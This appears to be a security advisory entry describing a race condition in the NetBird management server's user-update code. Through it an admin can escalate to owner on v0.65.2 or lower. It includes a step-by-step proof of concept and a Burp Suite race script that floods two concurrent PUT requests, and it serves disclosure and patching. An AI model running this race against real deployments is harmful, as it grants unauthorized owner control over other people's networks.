+ "details": "## Summary\n\nA race condition vulnerability allows authenticated admin-privileged users to escalate to owner privilege.\n\n## Details\n\nThe vulnerability exists in the `updateUser` function, which is connected to the `/users/{userId}` PUT request. This function then calls the `SaveOrAddUsers` function, which checks the user's permissions on two separate occasions. The first check verifies whether the initiator is an admin or owner and rejects the request if the initiator is not. The second check retrieves the user role details from the database again and saves them in a variable called `initiatorUser`.\n\n### `SaveOrAddUsers` Function\n\n**Location:** `netbird/management/server/user.go` — Line 556\n\n\n\nAfterwards, the `validateUserUpdate` function is called, which checks if the initiator has permission to update that specific user's role. This validation is lacking, as it assumes the initiator is an admin or owner. In the case that the initiator is a regular user, these conditions do not apply, and the target can be updated to owner even when the initiator holds only a user role.\n\n### `validateUserUpdate` Function\n\n**Location:** `netbird/management/server/user.go` — Line 862\n\n\n\nIn summary, if the initiator's permission is **admin** at the first check and gets dropped to **user** at the second check, the initiator can update a user to **owner**.\n\n## Proof of Concept\n\nIt is possible to create the following attack:\n\nThe initiator (`old_admin`) creates two different accounts — one with a **user** role and another with an **admin** role. These will be referred to as `new_user` and `new_admin` from here on.\n\nTwo different requests are needed:\n\n1. **Request 1** — Using `new_admin`'s JWT, a request is created that changes `old_admin`'s role to **user**.\n2. **Request 2** — Using `old_admin`'s JWT, a request is created that changes `new_user`'s role to **owner**.\n\nBoth requests need valid user IDs and `auto_groups` group IDs. They should be sent simultaneously without waiting for prior requests to return.\n\nThere is a very small time gap between the first and second permission checks, so multiple tries and multiple copies of the requests may be needed. During a penetration test engagement, privilege escalation was achieved by using **5 copies of Request 1** and **100 copies of Request 2** without waiting for any request to complete. The request that updated the role to owner returned **500** status codes instead of **403**, which when retried returned **200** and successfully applied the update.\n\nThe following Burp Suite race condition script was used. Note that it may still require multiple tries, and the `old_admin` account role must be reset to **admin** after every failed attempt.\n\n```python\nimport time\n\ndef queueRequests(target, wordlists):\n\n engine = RequestEngine(\n endpoint=target.endpoint,\n concurrentConnections=100,\n requestsPerConnection=100,\n pipeline=False\n )\n\n # Request 1\n req1 = \"\"\"PUT /api/users/{OLD_ADMIN_USERID} HTTP/2\nHost: CHANGE_WITH_HOST\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0\nAccept: application/json\nAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/json\nAuthorization: Bearer {NEW_ADMIN_TOKEN}\nContent-Length: 73\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\nTe: trailers\n\n{\"role\":\"user\",\"auto_groups\":[GROUP_ID],\"is_blocked\":false}\"\"\"\n\n # Request 2\n req2 = \"\"\"PUT /api/users/{NEW_USER_USERID} HTTP/2\nHost: CHANGE_WITH_HOST\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0\nAccept: application/json\nAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/json\nAuthorization: Bearer {OLD_ADMIN_TOKEN}\nContent-Length: 52\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\nTe: trailers\n\n{\"role\":\"owner\",\"auto_groups\":[],\"is_blocked\":false}\"\"\"\n\n # Send first request\n engine.queue(req1)\n engine.queue(req1)\n engine.queue(req1)\n engine.queue(req1)\n engine.queue(req1)\n\n # Send second request\n for i in range(100):\n engine.queue(req2)\n\n\ndef handleResponse(req, interesting):\n table.add(req)\n```\n\n## Impact\n\nAn attacker with an admin account on the self-hosted NetBird management application **v0.65.2 or lower** can escalate to owner privileges.",
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